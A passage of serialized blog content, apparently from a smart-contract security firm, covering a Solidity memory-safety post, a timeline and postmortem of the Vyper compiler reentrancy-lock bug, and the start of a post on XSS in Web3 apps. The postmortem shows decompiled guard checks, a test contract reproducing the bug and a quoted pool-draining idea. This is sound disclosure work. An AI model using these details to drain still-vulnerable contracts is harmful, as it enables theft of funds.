",{"type":24,"tag":158,"props":31515,"children":31516},{"style":177},[31517],{"type":29,"value":31414},{"type":24,"tag":158,"props":31519,"children":31520},{"style":188},[31521],{"type":29,"value":347},{"type":24,"tag":158,"props":31523,"children":31524},{"style":496},[31525],{"type":29,"value":31423},{"type":24,"tag":158,"props":31527,"children":31528},{"style":188},[31529],{"type":29,"value":31428},{"type":24,"tag":158,"props":31531,"children":31532},{"style":177},[31533],{"type":29,"value":31534},"externalReferences",{"type":24,"tag":158,"props":31536,"children":31537},{"style":188},[31538],{"type":29,"value":17814},{"type":24,"tag":158,"props":31540,"children":31541},{"class":160,"line":626},[31542],{"type":24,"tag":158,"props":31543,"children":31544},{"emptyLinePlaceholder":16},[31545],{"type":29,"value":481},{"type":24,"tag":158,"props":31547,"children":31548},{"class":160,"line":668},[31549,31554,31558,31563,31567,31571,31575,31580],{"type":24,"tag":158,"props":31550,"children":31551},{"style":188},[31552],{"type":29,"value":31553}," yul::Statement modified ",{"type":24,"tag":158,"props":31555,"children":31556},{"style":222},[31557],{"type":29,"value":1285},{"type":24,"tag":158,"props":31559,"children":31560},{"style":496},[31561],{"type":29,"value":31562}," bodyCopier",{"type":24,"tag":158,"props":31564,"children":31565},{"style":188},[31566],{"type":29,"value":504},{"type":24,"tag":158,"props":31568,"children":31569},{"style":177},[31570],{"type":29,"value":31414},{"type":24,"tag":158,"props":31572,"children":31573},{"style":188},[31574],{"type":29,"value":347},{"type":24,"tag":158,"props":31576,"children":31577},{"style":496},[31578],{"type":29,"value":31579},"operations",{"type":24,"tag":158,"props":31581,"children":31582},{"style":188},[31583],{"type":29,"value":31584},"());`\n",{"type":24,"tag":1786,"props":31586,"children":31587},{"start":213},[31588],{"type":24,"tag":1790,"props":31589,"children":31590},{},[31591],{"type":29,"value":31592},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":24,"tag":25,"props":31594,"children":31595},{},[31596],{"type":29,"value":31597},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":24,"tag":59,"props":31599,"children":31600},{"id":4489},[31601],{"type":29,"value":4492},{"type":24,"tag":25,"props":31603,"children":31604},{},[31605],{"type":29,"value":31606},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":24,"tag":25,"props":31608,"children":31609},{},[31610],{"type":29,"value":31611},"It's a promise between YUL generation and optimization.",{"type":24,"tag":19662,"props":31613,"children":31615},{"className":31614,"dataFootnotes":7},[19665],[31616,31621],{"type":24,"tag":59,"props":31617,"children":31619},{"className":31618,"id":16716},[19670],[31620],{"type":29,"value":19673},{"type":24,"tag":1786,"props":31622,"children":31623},{},[31624,31658],{"type":24,"tag":1790,"props":31625,"children":31627},{"id":31626},"user-content-fn-1",[31628,31630,31635,31637,31643,31645,31650,31652],{"type":29,"value":31629},"As an interesting aside, ",{"type":24,"tag":154,"props":31631,"children":31633},{"className":31632},[],[31634],{"type":29,"value":30630},{"type":29,"value":31636}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":24,"tag":154,"props":31638,"children":31640},{"className":31639},[],[31641],{"type":29,"value":31642},"memory-unsafe",{"type":29,"value":31644}," code can ",{"type":24,"tag":32,"props":31646,"children":31647},{},[31648],{"type":29,"value":31649},"decrease",{"type":29,"value":31651}," gas consumption, especially in the YUL header. ",{"type":24,"tag":101,"props":31653,"children":31656},{"href":31654,"ariaLabel":19776,"className":31655,"dataFootnoteBackref":7},"#user-content-fnref-1",[19778],[31657],{"type":29,"value":19781},{"type":24,"tag":1790,"props":31659,"children":31661},{"id":31660},"user-content-fn-2",[31662,31664,31669,31671],{"type":29,"value":31663},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":24,"tag":32,"props":31665,"children":31666},{},[31667],{"type":29,"value":31668},"guarantee",{"type":29,"value":31670}," behavior with opaque bytes. ",{"type":24,"tag":101,"props":31672,"children":31675},{"href":31673,"ariaLabel":19796,"className":31674,"dataFootnoteBackref":7},"#user-content-fnref-2",[19778],[31676],{"type":29,"value":19781},{"type":24,"tag":4517,"props":31678,"children":31679},{},[31680],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":31682},[31683,31684,31685,31686,31687,31688,31689],{"id":30274,"depth":213,"text":30277},{"id":30328,"depth":213,"text":30331},{"id":30592,"depth":213,"text":30595},{"id":30323,"depth":213,"text":30816},{"id":31163,"depth":213,"text":31166},{"id":4489,"depth":213,"text":4492},{"id":16716,"depth":213,"text":19673},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":31694,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":31695,"description":31696,"author":10,"image":31697,"date":31699,"isFeatured":16,"onBlogPage":16,"tags":31700,"body":31702,"_type":4536,"_id":32453,"_source":4538,"_file":32454,"_stem":32455,"_extension":4541},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":31698,"height":14857,"width":14857},"/posts/vyper-timeline/header.jpg","2023-08-01",[31701,30269],"vyper",{"type":21,"children":31703,"toc":32444},[31704,31709,31714,31719,31725,31730,31748,31758,31763,31771,31781,31800,31880,31890,32050,32055,32060,32070,32077,32082,32087,32101,32106,32123,32140,32159,32169,32182,32187,32200,32205,32210,32220,32247,32257,32287,32293,32302,32308,32313,32318,32323,32329,32334,32348,32353,32358,32363,32369,32374,32387,32413,32418,32440],{"type":24,"tag":25,"props":31705,"children":31706},{},[31707],{"type":29,"value":31708},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":24,"tag":25,"props":31710,"children":31711},{},[31712],{"type":29,"value":31713},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":24,"tag":25,"props":31715,"children":31716},{},[31717],{"type":29,"value":31718},"Here's how it all happened.",{"type":24,"tag":59,"props":31720,"children":31722},{"id":31721},"timeline",[31723],{"type":29,"value":31724},"Timeline",{"type":24,"tag":25,"props":31726,"children":31727},{},[31728],{"type":29,"value":31729},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":24,"tag":25,"props":31731,"children":31732},{},[31733,31738,31740,31747],{"type":24,"tag":897,"props":31734,"children":31735},{},[31736],{"type":29,"value":31737},"13:10 UTC",{"type":29,"value":31739}," pETH/ETH was ",{"type":24,"tag":101,"props":31741,"children":31744},{"href":31742,"rel":31743},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[105],[31745],{"type":29,"value":31746},"drained of $11M",{"type":29,"value":347},{"type":24,"tag":25,"props":31749,"children":31750},{},[31751,31756],{"type":24,"tag":897,"props":31752,"children":31753},{},[31754],{"type":29,"value":31755},"13:19 UTC",{"type":29,"value":31757}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":24,"tag":25,"props":31759,"children":31760},{},[31761],{"type":29,"value":31762},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":24,"tag":4606,"props":31764,"children":31765},{},[31766],{"type":24,"tag":25,"props":31767,"children":31768},{},[31769],{"type":29,"value":31770},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":24,"tag":25,"props":31772,"children":31773},{},[31774,31779],{"type":24,"tag":897,"props":31775,"children":31776},{},[31777],{"type":29,"value":31778},"14:01 UTC",{"type":29,"value":31780}," A warroom was formed around this comment.",{"type":24,"tag":25,"props":31782,"children":31783},{},[31784,31789,31791,31798],{"type":24,"tag":897,"props":31785,"children":31786},{},[31787],{"type":29,"value":31788},"14:07 UTC",{"type":29,"value":31790}," We decompiled the JPEGd contract ",{"type":24,"tag":101,"props":31792,"children":31795},{"href":31793,"rel":31794},"https://ethervm.io/decompile",[105],[31796],{"type":29,"value":31797},"with our favorite decompiler",{"type":29,"value":31799}," and noted a difference in reentrancy guard storage slot.",{"type":24,"tag":147,"props":31801,"children":31805},{"className":31802,"code":31803,"language":31804,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n if (storage[0x00]) { revert(memory[0x00:0x00]); }\n storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n if (storage[0x02]) { revert(memory[0x00:0x00]); }\n storage[0x02] = 0x01;\n","yul",[31806],{"type":24,"tag":154,"props":31807,"children":31808},{"__ignoreMap":7},[31809,31817,31825,31833,31841,31848,31856,31864,31872],{"type":24,"tag":158,"props":31810,"children":31811},{"class":160,"line":161},[31812],{"type":24,"tag":158,"props":31813,"children":31814},{},[31815],{"type":29,"value":31816},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":24,"tag":158,"props":31818,"children":31819},{"class":160,"line":213},[31820],{"type":24,"tag":158,"props":31821,"children":31822},{},[31823],{"type":29,"value":31824},"label_0057:\n",{"type":24,"tag":158,"props":31826,"children":31827},{"class":160,"line":238},[31828],{"type":24,"tag":158,"props":31829,"children":31830},{},[31831],{"type":29,"value":31832}," if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":24,"tag":158,"props":31834,"children":31835},{"class":160,"line":259},[31836],{"type":24,"tag":158,"props":31837,"children":31838},{},[31839],{"type":29,"value":31840}," storage[0x00] = 0x01;\n",{"type":24,"tag":158,"props":31842,"children":31843},{"class":160,"line":280},[31844],{"type":24,"tag":158,"props":31845,"children":31846},{"emptyLinePlaceholder":16},[31847],{"type":29,"value":481},{"type":24,"tag":158,"props":31849,"children":31850},{"class":160,"line":301},[31851],{"type":24,"tag":158,"props":31852,"children":31853},{},[31854],{"type":29,"value":31855},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":24,"tag":158,"props":31857,"children":31858},{"class":160,"line":626},[31859],{"type":24,"tag":158,"props":31860,"children":31861},{},[31862],{"type":29,"value":31863},"label_1AF3:\n",{"type":24,"tag":158,"props":31865,"children":31866},{"class":160,"line":668},[31867],{"type":24,"tag":158,"props":31868,"children":31869},{},[31870],{"type":29,"value":31871}," if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":24,"tag":158,"props":31873,"children":31874},{"class":160,"line":676},[31875],{"type":24,"tag":158,"props":31876,"children":31877},{},[31878],{"type":29,"value":31879}," storage[0x02] = 0x01;\n",{"type":24,"tag":25,"props":31881,"children":31882},{},[31883,31888],{"type":24,"tag":897,"props":31884,"children":31885},{},[31886],{"type":29,"value":31887},"14:27 UTC",{"type":29,"value":31889}," We confirmed this behavior with a simple local test contract.",{"type":24,"tag":147,"props":31891,"children":31893},{"className":20704,"code":31892,"language":20703,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n return False\n",[31894],{"type":24,"tag":154,"props":31895,"children":31896},{"__ignoreMap":7},[31897,31905,31926,31961,31973,31980,31987,32006,32038],{"type":24,"tag":158,"props":31898,"children":31899},{"class":160,"line":161},[31900],{"type":24,"tag":158,"props":31901,"children":31902},{"style":496},[31903],{"type":29,"value":31904},"@external\n",{"type":24,"tag":158,"props":31906,"children":31907},{"class":160,"line":213},[31908,31913,31917,31922],{"type":24,"tag":158,"props":31909,"children":31910},{"style":496},[31911],{"type":29,"value":31912},"@nonreentrant",{"type":24,"tag":158,"props":31914,"children":31915},{"style":188},[31916],{"type":29,"value":504},{"type":24,"tag":158,"props":31918,"children":31919},{"style":1108},[31920],{"type":29,"value":31921},"\"lock\"",{"type":24,"tag":158,"props":31923,"children":31924},{"style":188},[31925],{"type":29,"value":2125},{"type":24,"tag":158,"props":31927,"children":31928},{"class":160,"line":238},[31929,31934,31939,31943,31948,31953,31957],{"type":24,"tag":158,"props":31930,"children":31931},{"style":165},[31932],{"type":29,"value":31933},"def",{"type":24,"tag":158,"props":31935,"children":31936},{"style":496},[31937],{"type":29,"value":31938}," test",{"type":24,"tag":158,"props":31940,"children":31941},{"style":188},[31942],{"type":29,"value":504},{"type":24,"tag":158,"props":31944,"children":31945},{"style":177},[31946],{"type":29,"value":31947},"addr",{"type":24,"tag":158,"props":31949,"children":31950},{"style":188},[31951],{"type":29,"value":31952},": address) -> ",{"type":24,"tag":158,"props":31954,"children":31955},{"style":171},[31956],{"type":29,"value":30945},{"type":24,"tag":158,"props":31958,"children":31959},{"style":188},[31960],{"type":29,"value":7222},{"type":24,"tag":158,"props":31962,"children":31963},{"class":160,"line":259},[31964,31968],{"type":24,"tag":158,"props":31965,"children":31966},{"style":1914},[31967],{"type":29,"value":18227},{"type":24,"tag":158,"props":31969,"children":31970},{"style":165},[31971],{"type":29,"value":31972}," True\n",{"type":24,"tag":158,"props":31974,"children":31975},{"class":160,"line":280},[31976],{"type":24,"tag":158,"props":31977,"children":31978},{"emptyLinePlaceholder":16},[31979],{"type":29,"value":481},{"type":24,"tag":158,"props":31981,"children":31982},{"class":160,"line":301},[31983],{"type":24,"tag":158,"props":31984,"children":31985},{"style":496},[31986],{"type":29,"value":31904},{"type":24,"tag":158,"props":31988,"children":31989},{"class":160,"line":626},[31990,31994,31998,32002],{"type":24,"tag":158,"props":31991,"children":31992},{"style":496},[31993],{"type":29,"value":31912},{"type":24,"tag":158,"props":31995,"children":31996},{"style":188},[31997],{"type":29,"value":504},{"type":24,"tag":158,"props":31999,"children":32000},{"style":1108},[32001],{"type":29,"value":31921},{"type":24,"tag":158,"props":32003,"children":32004},{"style":188},[32005],{"type":29,"value":2125},{"type":24,"tag":158,"props":32007,"children":32008},{"class":160,"line":668},[32009,32013,32018,32022,32026,32030,32034],{"type":24,"tag":158,"props":32010,"children":32011},{"style":165},[32012],{"type":29,"value":31933},{"type":24,"tag":158,"props":32014,"children":32015},{"style":496},[32016],{"type":29,"value":32017}," test2",{"type":24,"tag":158,"props":32019,"children":32020},{"style":188},[32021],{"type":29,"value":504},{"type":24,"tag":158,"props":32023,"children":32024},{"style":177},[32025],{"type":29,"value":31947},{"type":24,"tag":158,"props":32027,"children":32028},{"style":188},[32029],{"type":29,"value":31952},{"type":24,"tag":158,"props":32031,"children":32032},{"style":171},[32033],{"type":29,"value":30945},{"type":24,"tag":158,"props":32035,"children":32036},{"style":188},[32037],{"type":29,"value":7222},{"type":24,"tag":158,"props":32039,"children":32040},{"class":160,"line":676},[32041,32045],{"type":24,"tag":158,"props":32042,"children":32043},{"style":1914},[32044],{"type":29,"value":18227},{"type":24,"tag":158,"props":32046,"children":32047},{"style":165},[32048],{"type":29,"value":32049}," False\n",{"type":24,"tag":25,"props":32051,"children":32052},{},[32053],{"type":29,"value":32054},"This was not just another reentrancy bug.",{"type":24,"tag":25,"props":32056,"children":32057},{},[32058],{"type":29,"value":32059},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":24,"tag":25,"props":32061,"children":32062},{},[32063,32068],{"type":24,"tag":897,"props":32064,"children":32065},{},[32066],{"type":29,"value":32067},"14:37 UTC",{"type":29,"value":32069}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":24,"tag":25,"props":32071,"children":32072},{},[32073],{"type":24,"tag":84,"props":32074,"children":32076},{"alt":7,"src":32075},"/posts/vyper-timeline/sstore.png",[],{"type":24,"tag":25,"props":32078,"children":32079},{},[32080],{"type":29,"value":32081},"It was a race with the hackers.",{"type":24,"tag":25,"props":32083,"children":32084},{},[32085],{"type":29,"value":32086},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":24,"tag":4606,"props":32088,"children":32089},{},[32090],{"type":24,"tag":25,"props":32091,"children":32092},{},[32093,32095],{"type":29,"value":32094},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":24,"tag":101,"props":32096,"children":32099},{"href":32097,"rel":32098},"https://twitter.com/hexagate_/status/1685677801813217280",[105],[32100],{"type":29,"value":32097},{"type":24,"tag":25,"props":32102,"children":32103},{},[32104],{"type":29,"value":32105},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":24,"tag":25,"props":32107,"children":32108},{},[32109,32114,32115,32122],{"type":24,"tag":897,"props":32110,"children":32111},{},[32112],{"type":29,"value":32113},"14:50 UTC",{"type":29,"value":8106},{"type":24,"tag":101,"props":32116,"children":32119},{"href":32117,"rel":32118},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[105],[32120],{"type":29,"value":32121},"msETH/ETH was drained",{"type":29,"value":347},{"type":24,"tag":25,"props":32124,"children":32125},{},[32126,32131,32132,32139],{"type":24,"tag":897,"props":32127,"children":32128},{},[32129],{"type":29,"value":32130},"15:34 UTC",{"type":29,"value":8106},{"type":24,"tag":101,"props":32133,"children":32136},{"href":32134,"rel":32135},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[105],[32137],{"type":29,"value":32138},"alETH/ETH was drained",{"type":29,"value":347},{"type":24,"tag":25,"props":32141,"children":32142},{},[32143,32148,32150,32157],{"type":24,"tag":897,"props":32144,"children":32145},{},[32146],{"type":29,"value":32147},"15:43 UTC",{"type":29,"value":32149}," We identified that ",{"type":24,"tag":101,"props":32151,"children":32154},{"href":32152,"rel":32153},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[105],[32155],{"type":29,"value":32156},"CRV/ETH was vulnerable",{"type":29,"value":32158},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":24,"tag":25,"props":32160,"children":32161},{},[32162,32167],{"type":24,"tag":897,"props":32163,"children":32164},{},[32165],{"type":29,"value":32166},"16:11 UTC",{"type":29,"value":32168}," We began working on a whitehat exploit.",{"type":24,"tag":25,"props":32170,"children":32171},{},[32172,32174,32181],{"type":29,"value":32173},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":24,"tag":101,"props":32175,"children":32178},{"href":32176,"rel":32177},"https://twitter.com/vyperlang/status/1685692973051498497",[105],[32179],{"type":29,"value":32180},"public statement on affected versions",{"type":29,"value":347},{"type":24,"tag":25,"props":32183,"children":32184},{},[32185],{"type":29,"value":32186},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":24,"tag":25,"props":32188,"children":32189},{},[32190,32192,32199],{"type":29,"value":32191},"Five minutes later at 19:11 UTC, ",{"type":24,"tag":101,"props":32193,"children":32196},{"href":32194,"rel":32195},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[105],[32197],{"type":29,"value":32198},"somebody else stole the funds",{"type":29,"value":347},{"type":24,"tag":25,"props":32201,"children":32202},{},[32203],{"type":29,"value":32204},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":24,"tag":25,"props":32206,"children":32207},{},[32208],{"type":29,"value":32209},"Nevertheless, there was more ground to cover.",{"type":24,"tag":25,"props":32211,"children":32212},{},[32213,32218],{"type":24,"tag":897,"props":32214,"children":32215},{},[32216],{"type":29,"value":32217},"21:26 UTC",{"type":29,"value":32219}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":24,"tag":4606,"props":32221,"children":32222},{},[32223],{"type":24,"tag":25,"props":32224,"children":32225},{},[32226,32228,32232,32234,32237,32239,32242,32244],{"type":29,"value":32227},"if you send like 30k crv to the crv/eth pool ",{"type":24,"tag":32229,"props":32230,"children":32231},"br",{},[],{"type":29,"value":32233},"\nyou can then update admin fee ",{"type":24,"tag":32229,"props":32235,"children":32236},{},[],{"type":29,"value":32238},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":24,"tag":32229,"props":32240,"children":32241},{},[],{"type":29,"value":32243},"\nso you can basically drain whole pool for few hundred K crv ",{"type":24,"tag":32229,"props":32245,"children":32246},{},[],{"type":24,"tag":25,"props":32248,"children":32249},{},[32250,32255],{"type":24,"tag":897,"props":32251,"children":32252},{},[32253],{"type":29,"value":32254},"21:52 UTC",{"type":29,"value":32256}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":24,"tag":25,"props":32258,"children":32259},{},[32260,32262,32269,32271,32278,32286],{"type":29,"value":32261},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":24,"tag":101,"props":32263,"children":32266},{"href":32264,"rel":32265},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[105],[32267],{"type":29,"value":32268},"CRV admin fee bot",{"type":29,"value":32270}," had claimed fees and ",{"type":24,"tag":101,"props":32272,"children":32275},{"href":32273,"rel":32274},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[105],[32276],{"type":29,"value":32277},"the pool was drained",{"type":24,"tag":16709,"props":32279,"children":32280},{},[32281],{"type":24,"tag":101,"props":32282,"children":32284},{"href":30883,"ariaDescribedBy":32283,"dataFootnoteRef":7,"id":30885},[16716],[32285],{"type":29,"value":5672},{"type":29,"value":347},{"type":24,"tag":59,"props":32288,"children":32290},{"id":32289},"blame",[32291],{"type":29,"value":32292},"Blame",{"type":24,"tag":25,"props":32294,"children":32295},{},[32296,32300],{"type":24,"tag":32,"props":32297,"children":32298},{},[32299],{"type":29,"value":32292},{"type":29,"value":32301}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":24,"tag":395,"props":32303,"children":32305},{"id":32304},"races",[32306],{"type":29,"value":32307},"Races",{"type":24,"tag":25,"props":32309,"children":32310},{},[32311],{"type":29,"value":32312},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":24,"tag":25,"props":32314,"children":32315},{},[32316],{"type":29,"value":32317},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":24,"tag":25,"props":32319,"children":32320},{},[32321],{"type":29,"value":32322},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":24,"tag":395,"props":32324,"children":32326},{"id":32325},"information-leakage",[32327],{"type":29,"value":32328},"Information Leakage",{"type":24,"tag":25,"props":32330,"children":32331},{},[32332],{"type":29,"value":32333},"I was both an auditor and a whitehat.",{"type":24,"tag":25,"props":32335,"children":32336},{},[32337,32339,32346],{"type":29,"value":32338},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":24,"tag":101,"props":32340,"children":32343},{"href":32341,"rel":32342},"https://twitter.com/osec_io/status/1579969927020412929",[105],[32344],{"type":29,"value":32345},"by publishing the \"scoop\"",{"type":29,"value":32347}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":24,"tag":25,"props":32349,"children":32350},{},[32351],{"type":29,"value":32352},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":24,"tag":25,"props":32354,"children":32355},{},[32356],{"type":29,"value":32357},"Half an hour more could have saved $18M.",{"type":24,"tag":25,"props":32359,"children":32360},{},[32361],{"type":29,"value":32362},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":24,"tag":59,"props":32364,"children":32366},{"id":32365},"next-steps",[32367],{"type":29,"value":32368},"Next Steps",{"type":24,"tag":25,"props":32370,"children":32371},{},[32372],{"type":29,"value":32373},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":24,"tag":25,"props":32375,"children":32376},{},[32377,32379,32386],{"type":29,"value":32378},"It's important to note that this bug ",{"type":24,"tag":101,"props":32380,"children":32383},{"href":32381,"rel":32382},"https://twitter.com/real_philogy/status/1685948253139857409",[105],[32384],{"type":29,"value":32385},"was patched since November 2021",{"type":29,"value":347},{"type":24,"tag":4606,"props":32388,"children":32389},{},[32390],{"type":24,"tag":25,"props":32391,"children":32392},{},[32393,32395,32400,32401,32404,32406,32411],{"type":29,"value":32394},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":24,"tag":32,"props":32396,"children":32397},{},[32398],{"type":29,"value":32399},"processes",{"type":29,"value":19772},{"type":24,"tag":32229,"props":32402,"children":32403},{},[],{"type":29,"value":32405},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":24,"tag":32,"props":32407,"children":32408},{},[32409],{"type":29,"value":32410},"was",{"type":29,"value":32412}," fixed.",{"type":24,"tag":25,"props":32414,"children":32415},{},[32416],{"type":29,"value":32417},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":24,"tag":19662,"props":32419,"children":32421},{"className":32420,"dataFootnotes":7},[19665],[32422,32427],{"type":24,"tag":59,"props":32423,"children":32425},{"className":32424,"id":16716},[19670],[32426],{"type":29,"value":19673},{"type":24,"tag":1786,"props":32428,"children":32429},{},[32430],{"type":24,"tag":1790,"props":32431,"children":32432},{"id":31626},[32433,32435],{"type":29,"value":32434},"Thankfully, these funds were later returned. ",{"type":24,"tag":101,"props":32436,"children":32438},{"href":31654,"ariaLabel":19776,"className":32437,"dataFootnoteBackref":7},[19778],[32439],{"type":29,"value":19781},{"type":24,"tag":4517,"props":32441,"children":32442},{},[32443],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":32445},[32446,32447,32451,32452],{"id":31721,"depth":213,"text":31724},{"id":32289,"depth":213,"text":32292,"children":32448},[32449,32450],{"id":32304,"depth":238,"text":32307},{"id":32325,"depth":238,"text":32328},{"id":32365,"depth":213,"text":32368},{"id":16716,"depth":213,"text":19673},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":32457,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":32458,"description":32459,"author":32460,"image":32463,"date":32465,"isFeatured":16,"tags":32466,"onBlogPage":16,"body":32469,"_type":4536,"_id":36682,"_source":4538,"_file":36683,"_stem":36684,"_extension":4541},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[32461,32462],"caue","bruno",{"src":32464,"height":14857,"width":14857},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[32467,32468],"nft-marketplaces","xss",{"type":21,"children":32470,"toc":36665},[32471,32475,32480,32484,32489,32494,32499,32515,32521,32534,32556,32563,32568,32575,32580,32586,32591,32596,32601,32606,32617,32622,33591,33601,33613,33620,33625,34447,34452,34457,34462,34467,35251,35256,35338,35343,35412,35418,35423,35428,35655,35668,35673,35678,35683,35690,35695,35702,35708,35713,35718,35723,36042,36047,36053,36069,36075,36080,36085,36095,36100,36105,36114,36119,36125,36141,36154,36159,36164,36184,36191,36196,36203,36212,36217,36238,36291,36296,36347,36361,36366,36380,36495,36518,36602,36625,36630,36635,36640,36645,36650,36656,36661],{"type":24,"tag":59,"props":32472,"children":32473},{"id":30274},[32474],{"type":29,"value":30277},{"type":24,"tag":25,"props":32476,"children":32477},{},[32478],{"type":29,"value":32479},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":24,"tag":395,"props":32481,"children":32482},{"id":4591},[32483],{"type":29,"value":4594},{"type":24,"tag":25,"props":32485,"children":32486},{},[32487],{"type":29,"value":32488},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":24,"tag":25,"props":32490,"children":32491},{},[32492],{"type":29,"value":32493},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":24,"tag":59,"props":32495,"children":32496},{"id":32468},[32497],{"type":29,"value":32498},"XSS",{"type":24,"tag":25,"props":32500,"children":32501},{},[32502],{"type":24,"tag":32,"props":32503,"children":32504},{},[32505,32507,32514],{"type":29,"value":32506},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":24,"tag":101,"props":32508,"children":32511},{"href":32509,"rel":32510},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[105],[32512],{"type":29,"value":32513},"even explain it to myself",{"type":29,"value":347},{"type":24,"tag":395,"props":32516,"children":32518},{"id":32517},"managing-metadata",[32519],{"type":29,"value":32520},"Managing Metadata",{"type":24,"tag":25,"props":32522,"children":32523},{},[32524,32526,32533],{"type":29,"value":32525},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious 